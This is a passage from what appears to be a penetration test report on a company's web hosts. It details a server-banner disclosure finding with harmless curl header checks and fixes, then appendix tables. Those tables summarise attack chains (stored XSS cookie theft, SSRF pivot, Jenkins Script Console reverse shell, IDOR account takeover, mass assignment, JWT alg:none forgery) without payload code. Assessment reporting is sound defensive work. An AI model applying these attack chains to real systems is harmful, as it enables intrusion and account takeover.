- https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/Cookies#restrict_access_to_cookies

Server Banner and Software Version Disclosure

Location: `https://targetpractice.com`, `https://api.targetpractice.com`, `https://admin.targetpractice.com`

INFO SEVERITY

CVSS Score: 0.0 | CWE: CWE-200

DESCRIPTION & SECURITY IMPACT

HTTP responses across all three in-scope hosts returned detailed Server and X-Powered-By headers, disclosing the exact web server software, version number, and backend application framework in use. No header sanitization or banner suppression was configured on any of the tested hosts.

Technical Details:

- **Vulnerable Component:** Default web server and framework configuration
- **Observed Behavior:** Server and X-Powered-By headers present and unmodified across all tested endpoints
- **Root Cause:** No server-level directive (e.g., Nginx `server_tokens off`, Express `app.disable('x-powered-by')`) was applied to suppress default version banners before deployment.

Exact version disclosure allows an attacker to immediately narrow the search for known, publicly disclosed vulnerabilities (CVEs) affecting that specific software version, removing the need for blind fingerprinting. During testing, this information was used to confirm the backend technology stack referenced in other findings in this report and to rule out several version-specific public exploits as inapplicable, since the disclosed version had already been patched for those specific issues. While this finding did not directly lead to exploitation in this assessment, it materially reduces the reconnaissance effort required by any attacker targeting this environment in the future, particularly if a patch lag develops between this assessment and a later point in time.

PROOF OF CONCEPT / VULNERABILITY DETAILS

Step 1: Header Capture Across In-Scope Hosts

HTTP response headers were captured for each in-scope host using a simple `curl` request.

```
curl -s -D - -o /dev/null https://targetpractice.com/  
curl -s -D - -o /dev/null https://api.targetpractice.com/  
curl -s -D - -o /dev/null https://admin.targetpractice.com/
```

Step 2: Banner Disclosure Confirmation

The responses returned detailed version information in the Server and X-Powered-By headers across all three hosts.

```
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
X-Powered-By: Express
```

```
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
X-Powered-By: Express 4.17.1
```

The disclosed nginx/1.18.0 and Express 4.17.1 versions were cross-referenced against public CVE databases to confirm whether any unpatched, version-specific vulnerabilities were applicable to this environment as part of standard reconnaissance practice during the assessment.

SOLUTION & RECOMMENDATION

- **Suppress Server Version Banners:** On Nginx, set `server_tokens off`; in the main configuration block. On Apache, set `ServerTokens Prod` and `ServerSignature Off`.
- **Disable Framework Version Headers:** For Express-based applications, call `app.disable('x-powered-by')` to remove the framework identification header entirely.
- **Apply Consistently at the Edge:** Where feasible, strip or rewrite these headers at the WAF/load balancer layer (192.0.2.15) so that suppression is enforced consistently even if an individual backend service's configuration drifts.
- **Patch Management Cadence:** Independent of banner suppression, maintain a regular patching cadence for web server and framework versions, since hiding the banner reduces reconnaissance ease but does not address any underlying unpatched vulnerability.

REFERENCES

- https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/02-Fingerprint_Web_Server
- https://nginx.org/en/docs/http/nginx_http_core_module.html#server_tokens

APPENDIX

FINDING SEVERITIES

Each finding has been assigned a severity rating of critical, high, medium, low or info. The rating is based off of an assessment of the priority with which each finding should be viewed and the potential impact each has on the confidentiality, integrity, and availability of Target Practice’s data.

RATING	CVSS SCORE RANGE
Critical	9.0 – 10.0
High	7.0 – 8.9
Medium	4.0 – 6.9
Low	0.1 – 3.9
Info	0.0

HOST DISCOVERY

IP ADDRESS	PORT	SERVICE	NOTES
192.0.2.15	443	HTTPS (WAF/ Load Balancer)	In-scope load balancer fronting the main application; observed suppressing no version banners of its own
203.0.113.45	8080	HTTP (Jenkins)	Discovered via SSRF-based internal port scanning through the admin dashboard's import feature; anonymous access enabled, leading to RCE
203.0.113.0/24	various	Production server subnet	In-scope internal range; only 203.0.113.45:8080 was confirmed reachable and exploited during this assessment

SUBDOMAIN DISCOVERY

URL	DESCRIPTION	DISCOVERY METHOD
targetpractice.com	Main corporate website	Provided in-scope target
admin.targetpractice.com	Administrative dashboard	Provided in-scope target

URL	DESCRIPTION	DISCOVERY METHOD
api.targetpractice.com	GraphQL API endpoint	Provided in-scope target
legacy.targetpractice.com	Legacy customer portal	Provided in-scope target
promo.targetpractice.com	Decommissioned marketing landing page (dangling CNAME)	Passive subdomain enumeration (subfinder + dnsx) against the wildcard scope

EXPLOITED HOSTS

HOST	SCOPE	METHOD	NOTES
admin.targetpractice.com	Authenticated (Admin Role)	Stored XSS → session hijack	Administrative session obtained via Stored XSS payload exfiltrating the session cookie; used as the foothold for the SSRF pivot
203.0.113.45 (Jenkins)	Unauthenticated (Internal Network)	SSRF discovery → anonymous access → Script Console RCE	Full operating-system-level compromise achieved via the Jenkins Script Console; interactive reverse shell established as the jenkins service account
api.targetpractice.com	Authenticated (Standard User)	BOLA/IDOR, Mass Assignment	Standard user account leveraged to take over another account's email and separately to self-escalate to an administrative role
legacy.targetpractice.com	Authenticated (Test Account)	Weak JWT (alg: confusion / alg: none)	Forged session tokens accepted without possession of any valid private signing key

COMPROMISED USERS

USERNAME	TYPE	METHOD	NOTES
(administrator, exact identity not enumerated)	Administrative	Stored XSS session hijack	Session token captured via exfiltrated document.cookie; used to reach the SSRF-vulnerable import feature
userId: 1022	Standard user (victim)	BOLA/IDOR	Email address overwritten by the attacker, enabling account takeover via the legacy portal's password reset flow

USERNAME	TYPE	METHOD	NOTES
userId: 1055	Standard user (attacker-controlled test account)	Mass Assignment	Self-escalated from standard user to role: ADMIN via undocumented GraphQL input fields
jenkins (service account)	Service account	Jenkins Script Console RCE	Operating-system-level shell obtained; account held read access to DEPLOY_SSH_KEY_PATH and ARTIFACT_REPO_TOKEN

CLEANUP

HOST	SCOPE	CHANGE/CLEANUP NEEDED
targetpractice.com	Public contact form	Remove the tester-submitted Stored XSS proof-of-concept feedback ticket (customer_name containing the injected <script> tag) from the production database
admin.targetpractice.com	Bulk import feature	No persistent change made; all source_url requests during testing were read-only fetches (metadata, port scan, .env read) and did not modify application state
203.0.113.45 (Jenkins)	Script Console	Terminate the tester-established reverse shell process if still running; no files were written to disk on this host during testing, only in-memory command execution and environment variable enumeration were performed
api.targetpractice.com	updateUserProfile mutation	Revert the test victim account (userId: 1022) email address back to its original value; revert the test attacker account (userId: 1055) role field back to its original non-administrative value
legacy.targetpractice.com	Test account session	Forged JWTs used during testing are stateless and require no server-side cleanup; no password changes were made to any victim account beyond the BOLA/IDOR proof-of-concept on the test environment
promo.targetpractice.com	DNS	No claim of the dangling CNAME was made during testing; record remains in its original (vulnerable) state pending remediation by Target Practice Ltd.

